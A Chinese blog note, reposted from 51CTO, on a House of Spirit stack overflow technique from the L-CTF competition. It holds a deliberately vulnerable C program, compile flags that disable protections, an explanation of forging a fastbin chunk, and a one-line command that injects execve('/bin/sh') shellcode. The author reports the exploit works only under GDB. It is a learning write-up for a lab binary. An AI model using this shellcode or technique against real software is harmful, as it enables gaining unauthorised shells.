学习了一下L-CTF中介绍的一个栈溢出利用技巧,记录一下。
样例代码如下:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
|
/*
* blackngel's vulnerable program slightly modified by gb_master
*/
#include <stdio.h>
#include <string.h>
#include <stdlib.h>
void
fvuln(
char
*str1,
int
age)
{
char
*ptr1, name[32];
int
local_age;
char
*ptr2;
local_age = age;
ptr1 = (
char
*)
malloc
(256);
printf
(
"\nPTR1 = [ %p ]"
, ptr1);
strcpy
(name, str1);
printf
(
"\nPTR1 = [ %p ]\n"
, ptr1);
free
(ptr1);
ptr2 = (
char
*)
malloc
(40);
snprintf(ptr2, 40-1,
"%s is %d years old"
, name, local_age);
printf
(
"\n%s\n"
, ptr2);
}
int
main(
int
argc,
char
*argv[])
{
int
pad[10] = {0, 0, 0, 0, 0, 0, 0, 10, 0, 0};
if
(argc == 3)
fvuln(argv[1],
atoi
(argv[2]));
return
0;
}
|
编译命令如下:
1
|
gcc hos.c -m32 -fno-stack-protector -mpreferred-stack-boundary=2 -mno-accumulate-outgoing-args -z execstack -o hos
|
Ubuntu 14 Server里编译需要安装一下开发包,否则会报错sys/cdefs.h文件找不到:
1
|
sudo
apt-get
install
libc6-dev-i386
|
这里关键思路是:通过溢出修改局部变量的地址为栈中的一个地址,将伪造地址中的size字段设置成一个fastbin的有效大小,以便能成功将其free,后面的malloc将把此块内存重新申请并使用,snprintf函数再向其中写入数据,从而可以覆盖函数返回地址,最终getshell。
局部变量的内存分布如下:
1
2
3
4
|
0xffffd03c name
0xffffd05c ptr2
0xffffd060 ptr1
0xffffd064 local_age
|
样例测试命令如下:
1
|
.
/hos
`python -c
'import sys; sys.stdout.write("\x31\xc0\xeb\x14\x44\xd0\xff\xff\x6a\x0b\x58\x31\xf6\x56\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\x89\xca\xcd\x80\x90" + "\x01\x01\x01\x68\xd0\xFF\xFF" + "\x30")'
` 48
|
这里有点问题,通过GDB调试可以getshell,直接执行则报段错误:
本文转自fatshi51CTO博客,原文链接:http://blog.51cto.com/duallay/1859677 ,如需转载请自行联系原作者